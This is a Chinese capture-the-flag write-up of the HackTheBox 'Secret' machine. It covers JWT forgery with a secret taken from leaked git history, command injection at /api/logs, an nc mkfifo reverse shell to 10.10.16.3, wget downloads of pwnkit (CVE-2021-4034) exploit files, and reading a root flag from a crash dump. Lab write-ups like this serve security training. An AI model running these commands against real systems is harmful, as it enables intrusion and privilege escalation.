目录
前言
JWT
Token:计算机身份认证中是令牌(临时)的意思,在一些数据传输之前,要先进行客户端携带由服务端颁发的token的核对,不同的toke被授权不同的数据操作。
JWT: JSON Web Tokens令牌是一种开放的行业标准RFC 7519方法,用于安全地表示双方之间的声明。JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。
pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。
目标服务器开放22/80/3000端口
在网页底部发现网站源代码。
发现/api和/docs目录
可对/api进行目录扫描,访问/docs时发现该开源项目的注册到认证登录的过程均有描述。这是一个基于API的身份验证系统。我们正在使用JWT令牌使事情更加安全。为了存储我们正在使用的mongodb用户数据,您可以在这里找到一个api工作原理的演示,这是一个非常安全的身份验证系统,可以很好地完成文档(有时公司会隐藏端点),但我们的代码是公开的。
发现
注册api:/api/user/register
登录api:/api/user/login
Token权限校验api:/api/priv
下载收集到的源码是一个开源项目,存在git文件泄露。使用extractor.sh对文件进行提取。
#./extractor.sh /root/桌面/app/hackbox/Secret/local-web/ dump
对文件进行了6次提取。
1.1 注册用户
根据提示注册用户
#curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120:3000/api/user/register --data '{"name": "revenger","email": "revenger@htb.com","password": "*"}'
1.2 登录
#curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120:3000/api/user/login --data '{"email": "revenger@htb.com","password": "qwerty123"}'
1.3 验证token
#curl http://10.10.11.120:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoicmV2ZW5nZXIiLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9._qtFTVuE7XvCYgp79CbAUzpHA9a7kC1VW1tIAxTF1D8'
有回显可知是一个普通用户权限。
1.4 获取web_admin权限
查看提取的源码文件private.js可知当name==theadadmin时权限为admin。
构造admin权限token,查看verifytoken.js可知token的通过jwt生成。使用jwt在线token形成,将name更改为theadadmin;添加token_secret的值即可形成。
其中token_secre可翻阅文件提取中有一个名2-开头的文件里.env文件拿到。
获取管理员token。
校验token权限,获取到admin权限。
1.5 private.js源码命令注入漏洞
在private.js源码发现/api/logs一处命令注入漏洞。
命令注入漏洞测试
#curl 'http://10.10.11.120:3000/api/logs?file=123;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'
确定存在命令注入漏洞。
1.6 获取user.flag
#curl -v 'http://10.10.11.120:3000/api/logs?file=123;cat+/home/dasith/user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'
1.7 反弹shell
使用nc反弹shell_payload:
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 9999 >/tmp/f
# curl -v 'http://10.10.11.120:3000/api/logs?file=123;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.3%209999%20%3E%2Ftmp%2Ff' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'
(三)提权
获取交互式shell
#python3 -c "import pty;pty.spawn('/bin/bash')";
suid文件收集
#find / -perm -u=s -type f 2>/dev/null
发现count/pkexec文件均具有suid权限
1.1 count文件分析
查看count源码文件发现通过设置prctl(PR_SET_DUMPABLE, 1);,可造成count执行崩溃。Linux崩溃创建一些文件/var/crash/,使用kdump工具或apport-unpack(从崩溃报告中提取核心转储文件)处理文件可查看详细信息。其中包括我们利用count执行的查看root_flag信息。
1.2 制造count执行崩溃
当前shell1执行count,如下,当选择save results a file “y”后在触发一个shell2,查找count进程kill掉,则shell1下count执行终止。
1.3获取程序崩溃文件
程序崩溃时会在中创建一些文件/var/crash/
# mkdir /tmp/test
apport-unpack提取奔溃文件并转存/test,其中 CoreDump即可查看详细信息。
#apport-unpack /var/crash/_opt_count.1000.crash /tmp/test
字符形式输出文件
#strings CoreDump
pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。存在很多系统版本的 pkexec 没有正确处理调用参数的个数,并最终试图将环境变量作为命令执行,从而诱导 pkexec 执行任意代码。
提权漏洞cve-2021-4034。
pkexec具有suid权限。
2.1 上传exp文件
#wget 10.10.16.3:9998/cve-2021-4034.c
#wget 10.10.16.3:9998/Makefile
#wget 10.10.16.3:9998/pwnkit.c
2.2 执行提权命令
#make
#.cve-2021-4034
成功拿到root权限。
extractor.sh对文件进行提取。
#./extractor.sh /root/桌面/app/hackbox/Secret/local-web/ dump
JWT: JSON Web Tokens令牌是一种开放的行业标准RFC 7519方法,用于安全地表示双方之间的声明。JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。
1 程序崩溃在/var/crash创建崩溃文件
2 apport-unpack提取奔溃文件并转存/test,其中 CoreDump即可查看详细信息。
#apport-unpack /var/crash/_opt_count.1000.crash /tmp/test
3 字符形式输出文件
#strings CoreDump
pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。存在很多系统版本的 pkexec 没有正确处理调用参数的个数,并最终试图将环境变量作为命令执行。可以理解为当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。